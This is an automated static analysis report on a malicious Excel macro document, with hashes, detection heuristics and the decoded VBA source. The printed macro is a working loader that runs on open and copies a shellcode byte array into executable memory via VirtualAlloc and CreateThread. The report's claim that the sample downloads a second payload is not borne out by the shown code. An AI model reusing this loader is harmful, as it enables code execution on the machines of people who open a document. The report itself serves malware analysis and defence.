Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9e53d471daa14429…

MALICIOUS

Office (OLE)

25.5 KB Created: 2012-01-20 23:44:55 Authoring application: Microsoft Excel First seen: 2018-02-19
MD5: 4bb52f9079efda4869852d786471b429 SHA-1: b54e247d0cf4b8f81b25f1a3548c69d3a286d228 SHA-256: 9e53d471daa14429a8fe1b75960934b9bc0ea637b0595474411a47434ee430a3
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is an Office document containing VBA macros, including Auto_Open and Workbook_Open triggers. The macros utilize VirtualAlloc and CreateThread API calls to allocate memory and execute shellcode. This behavior is indicative of a dropper or downloader, designed to fetch and execute a secondary payload. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' further supports this assessment.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Wkbiqmw As Long, Hmbo As Variant, Rwvxs As Long, Xinzcm As Long, Abegogwui As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2093 bytes
SHA-256: 95112ee008db87328435f4c630e5b2ad0d1bf4aede08c7d4c07c4570d63f7c0f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Function CreateThread Lib "kernel32" (ByVal Npdrhkbff As Long, ByVal Drcunuy As Long, ByVal Ache As Long, Wiquwzp As Long, ByVal Ltdplqkqj As Long, Xsawbea As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Aacsuf As Long, ByVal Ioo As Long, ByVal Fpihqsli As Long, ByVal Ximedrqa As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Vejyzyxy As Long, ByRef Kalwgz As Any, ByVal Ftnp As Long) As Long

Sub Auto_Open()
    Dim Wkbiqmw As Long, Hmbo As Variant, Rwvxs As Long, Xinzcm As Long, Abegogwui As Long
    Hmbo = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 106, 1, 141, 133, 185, 0, 0, 0, 80, 104, 49, 139, 111, 135, 255, 213, 187, _
224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, _
187, 71, 19, 114, 111, 106, 0, 83, 255, 213, 99, 97, 108, 99, 0)
    Rwvxs = VirtualAlloc(0, UBound(Hmbo), &H1000, &H40)
    For Abegogwui = LBound(Hmbo) To UBound(Hmbo)
        Wkbiqmw = Hmbo(Abegogwui)
        Xinzcm = RtlMoveMemory(Rwvxs + Abegogwui, Wkbiqmw, 1)
    Next Abegogwui
    Xinzcm = CreateThread(0, 0, Rwvxs, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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